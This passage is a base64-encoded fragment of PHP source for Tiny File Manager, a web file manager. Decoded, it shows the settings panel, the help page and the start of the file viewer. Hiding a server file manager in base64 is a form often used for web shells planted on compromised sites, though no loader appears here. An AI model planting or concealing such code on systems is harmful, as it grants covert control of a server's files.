9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCiAgICBnbG9iYWwgJGNmZywgJGxhbmcsICRsYW5nX2xpc3Q7CiAgICA/PgoKICAgIDxkaXYgY2xhc3M9ImNvbC1tZC04IG9mZnNldC1tZC0yIHB0LTMiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgIDxoNiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhIGZhLWNvZyI+PC9pPiAgPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9ImZsb2F0LXJpZ2h0Ij48aSBjbGFzcz0iZmEgZmEtd2luZG93LWNsb3NlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKT8+PC9hPgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImpzLXNldHRpbmdzLWZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGRhdGEtdHlwZT0iYWpheCIgb25zdWJtaXQ9InJldHVybiBzYXZlX3NldHRpbmdzKHRoaXMpIj4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2V0dGluZ3MiIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtbGFuZ3VhZ2UiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0xhbmd1YWdlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJqcy1sYW5ndWFnZSIgbmFtZT0ianMtbGFuZ3VhZ2UiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0U2VsZWN0ZWQoJGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2xvYmFsICRsYW5nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGxhbmdfbGlzdCBhcyAkayA9PiAkdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSckaycgIi5nZXRTZWxlY3RlZCgkaykuIj4kdjwvb3B0aW9uPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAvL2dldCBPTi9PRkYgYW5kIGFjdGl2ZSBjbGFzcwogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldENoZWNrZWQoJGNvbmYsICR2YWwsICR0eHQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGNvbmY9PSAxICYmICR2YWwgPT0xKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHR4dDsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmKCRjb25mID09ICcnICYmICR2YWwgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdHh0OwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1lcnItcnB0LTEiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0Vycm9yUmVwb3J0aW5nJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAgYnRuLWdyb3VwLXRvZ2dsZSIgZGF0YS10b2dnbGU9ImJ1dHRvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgPD9waHAgZWNobyBnZXRDaGVja2VkKCRyZXBvcnRfZXJyb3JzLCAxLCAnYWN0aXZlJykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImpzLWVycm9yLXJlcG9ydCIgaWQ9ImpzLWVyci1ycHQtMSIgYXV0b2NvbXBsZXRlPSJvZmYiIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvIGdldENoZWNrZWQoJHJlcG9ydF9lcnJvcnMsIDEsICdjaGVja2VkJykgPz4gPiBPTgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJidG4gYnRuLXNlY29uZGFyeSA8P3BocCBlY2hvIGdldENoZWNrZWQoJHJlcG9ydF9lcnJvcnMsICcnLCAnYWN0aXZlJykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImpzLWVycm9yLXJlcG9ydCIgaWQ9ImpzLWVyci1ycHQtMCIgYXV0b2NvbXBsZXRlPSJvZmYiIHZhbHVlPSJmYWxzZSIgPD9waHAgZWNobyBnZXRDaGVja2VkKCRyZXBvcnRfZXJyb3JzLCAnJywgJ2NoZWNrZWQnKSA/PiA+IE9GRgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtaGRuLTEiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGJ0bi1ncm91cC10b2dnbGUiIGRhdGEtdG9nZ2xlPSJidXR0b25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IDw/cGhwIGVjaG8gZ2V0Q2hlY2tlZCgkc2hvd19oaWRkZW5fZmlsZXMsIDEsICdhY3RpdmUnKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ianMtc2hvdy1oaWRkZW4iIGlkPSJqcy1oZG4tMSIgYXV0b2NvbXBsZXRlPSJvZmYiIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvIGdldENoZWNrZWQoJHNob3dfaGlkZGVuX2ZpbGVzLCAxLCAnY2hlY2tlZCcpID8+ID4gT04KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgPD9waHAgZWNobyBnZXRDaGVja2VkKCRzaG93X2hpZGRlbl9maWxlcywgJycsICdhY3RpdmUnKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ianMtc2hvdy1oaWRkZW4iIGlkPSJqcy1oZG4tMCIgYXV0b2NvbXBsZXRlPSJvZmYiIHZhbHVlPSJmYWxzZSIgPD9waHAgZWNobyBnZXRDaGVja2VkKCRzaG93X2hpZGRlbl9maWxlcywgJycsICdjaGVja2VkJykgPz4gPiBPRkYKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWhpZC0xIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdIaWRlQ29sdW1ucycpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGJ0bi1ncm91cC10b2dnbGUiIGRhdGEtdG9nZ2xlPSJidXR0b25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IDw/cGhwIGVjaG8gZ2V0Q2hlY2tlZCgkaGlkZV9Db2xzLCAxLCAnYWN0aXZlJykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImpzLWhpZGUtY29scyIgaWQ9ImpzLWhpZC0xIiBhdXRvY29tcGxldGU9Im9mZiIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gZ2V0Q2hlY2tlZCgkaGlkZV9Db2xzLCAxLCAnY2hlY2tlZCcpID8+ID4gT04KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgPD9waHAgZWNobyBnZXRDaGVja2VkKCRoaWRlX0NvbHMsICcnLCAnYWN0aXZlJykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImpzLWhpZGUtY29scyIgaWQ9ImpzLWhpZC0wIiBhdXRvY29tcGxldGU9Im9mZiIgdmFsdWU9ImZhbHNlIiA8P3BocCBlY2hvIGdldENoZWNrZWQoJGhpZGVfQ29scywgJycsICdjaGVja2VkJykgPz4gPiBPRkYKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIHJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWRpci0xIiBjbGFzcz0iY29sLXNtLTMgY29sLWZvcm0tbGFiZWwiPjw/cGhwIGVjaG8gbG5nKCdDYWxjdWxhdGVGb2xkZXJTaXplJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAgYnRuLWdyb3VwLXRvZ2dsZSIgZGF0YS10b2dnbGU9ImJ1dHRvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgPD9waHAgZWNobyBnZXRDaGVja2VkKCRjYWxjX2ZvbGRlciwgMSwgJ2FjdGl2ZScpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJqcy1jYWxjLWZvbGRlciIgaWQ9ImpzLWRpci0xIiBhdXRvY29tcGxldGU9Im9mZiIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gZ2V0Q2hlY2tlZCgkY2FsY19mb2xkZXIsIDEsICdjaGVja2VkJykgPz4gPiBPTgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJidG4gYnRuLXNlY29uZGFyeSA8P3BocCBlY2hvIGdldENoZWNrZWQoJGNhbGNfZm9sZGVyLCAnJywgJ2FjdGl2ZScpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJqcy1jYWxjLWZvbGRlciIgaWQ9ImpzLWRpci0wIiBhdXRvY29tcGxldGU9Im9mZiIgdmFsdWU9ImZhbHNlIiA8P3BocCBlY2hvIGdldENoZWNrZWQoJGNhbGNfZm9sZGVyLCAnJywgJ2NoZWNrZWQnKSA/PiA+IE9GRgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNtLTEwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj4gPGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2F2ZScpOyA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCmlmIChpc3NldCgkX0dFVFsnaGVscCddKSkgewogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKICAgIGdsb2JhbCAkY2ZnLCAkbGFuZzsKICAgID8+CgogICAgPGRpdiBjbGFzcz0iY29sLW1kLTggb2Zmc2V0LW1kLTIgcHQtMyI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PiIgY2xhc3M9ImZsb2F0LXJpZ2h0Ij48aSBjbGFzcz0iZmEgZmEtd2luZG93LWNsb3NlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKT8+PC9hPgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTYiPgogICAgICAgICAgICAgICAgICAgICAgICA8cD48aDM+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlciIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJhcHAtdi10aXRsZSI+IFRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48L2E+PC9oMz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPkF1dGhvcjogUHJhc2F0aCBNYW5pPC9wPgogICAgICAgICAgICAgICAgICAgICAgICA8cD5NYWlsIFVzOiA8YSBocmVmPSJtYWlsdG86Y2NwcHJvZ3JhbW1lcnNAZ21haWwuY29tIj5jY3Bwcm9ncmFtbWVyc1thdF1nbWFpbC5jb208L2E+IDwvcD4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteHMtMTIgY29sLXNtLTYiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibGlzdC1ncm91cCBsaXN0LWdyb3VwLWZsdXNoIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlci93aWtpIiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLXF1ZXN0aW9uLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8L2E+IDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIvaXNzdWVzIiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWJ1ZyI+PC9pPiA8P3BocCBlY2hvIGxuZygnUmVwb3J0IElzc3VlJykgPz48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iamF2YXNjcmlwdDpsYXRlc3RfcmVsZWFzZV9pbmZvKCc8P3BocCBlY2hvIFZFUlNJT047ID8+Jyk7Ij48aSBjbGFzcz0iZmEgZmEtbGluayI+IDwvaT4gPD9waHAgZWNobyBsbmcoJ0NoZWNrIExhdGVzdCBWZXJzaW9uJykgPz48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZighRk1fUkVBRE9OTFkpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iamF2YXNjcmlwdDpzaG93X25ld19wd2QoKTsiPjxpIGNsYXNzPSJmYSBmYS1sb2NrIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqcy1uZXctcHdkIGhpZGRlbiBtdC0yIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcykiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InB3ZGhhc2giIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBtYi0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzdGF0aWNFbWFpbDIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBteC1zbS0zIG1iLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucHV0UGFzc3dvcmQyIiBjbGFzcz0ic3Itb25seSI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0bi1zbSIgaWQ9ImlucHV0UGFzc3dvcmQyIiBuYW1lPSJpbnB1dFBhc3N3b3JkMiIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZScpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjIiIHJlYWRvbmx5IGlkPSJqcy1wd2QtcmVzdWx0Ij48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vIGZpbGUgdmlld2VyCmlmIChpc3NldCgkX0dFVFsndmlldyddKSkgewogICAgJGZpbGUgPSAkX0dFVFsndmlldyddOwogICAgJHF1aWNrVmlldyA9IChpc3NldCgkX0dFVFsncXVpY2tWaWV3J10pICYmICRfR0VUWydxdWlja1ZpZXcnXSA9PSAxKSA/IHRydWUgOiBmYWxzZTsKICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSwgZmFsc2UpOwogICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICBpZiAoJGZpbGUgPT0gJycgfHwgIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgfHwgaW5fYXJyYXkoJGZpbGUsICRHTE9CQUxTWydleGNsdWRlX2l0ZW1zJ10pKSB7CiAgICAgICAgZm1fc2V0X21zZygnRmlsZSBub3QgZm91bmQnLCAnZXJyb3InKTsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTsKICAgIH0KCiAgICBpZighJHF1aWNrVmlldykgewogICAgICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgfQoKICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gZm1fY29udmVydF93aW4oKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGZpbGUpOwogICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTsKICAgICRmaWxlc2l6ZSA9IGZtX2dldF9maWxlc2l6ZShmaWxlc2l6ZSgkZmlsZV9wYXRoKSk7CgogICAgJGlzX3ppcCA9IGZhbHNlOwogICAgJGlzX2d6aXAgPSBmYWxzZTsKICAgICRpc19pbWFnZSA9IGZhbHNlOwogICAgJGlzX2F1ZGlvID0gZmFsc2U7CiAgICAkaXNfdmlkZW8gPSBmYWxzZTsKICAgICRpc190ZXh0ID0gZmFsc2U7CiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7CgogICAgJHZpZXdfdGl0bGUgPSAnRmlsZSc7CiAgICAkZmlsZW5hbWVzID0gZmFsc2U7IC8vIGZvciB6aXAKICAgICRjb250ZW50ID0gJyc7IC8vIGZvciB0ZXh0CiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7CgogICAgaWYoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKXsKICAgICAgICAkaXNfb25saW5lVmlld2VyID0gdHJ1ZTsKICAgIH0KICAgIGVsc2VpZiAoJGV4dCA9PSAnemlwJyB8fCAkZXh0ID09ICd0YXInKSB7CiAgICAgICAgJGlzX3ppcCA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnQXJjaGl2ZSc7CiAgICAgICAgJGZpbGVuYW1lcyA9IGZtX2dldF96aWZfaW5mbygkZmlsZV9wYXRoLCAkZXh0KTsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkgewogICAgICAgICRpc19pbWFnZSA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnSW1hZ2UnOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7CiAgICAgICAgJGlzX2F1ZGlvID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdBdWRpbyc7CiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHsKICAgICAgICAkaXNfdmlkZW8gPSB0cnVlOwogICAgICAgICR2aWV3X3RpdGxlID0gJ1ZpZGVvJzsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdH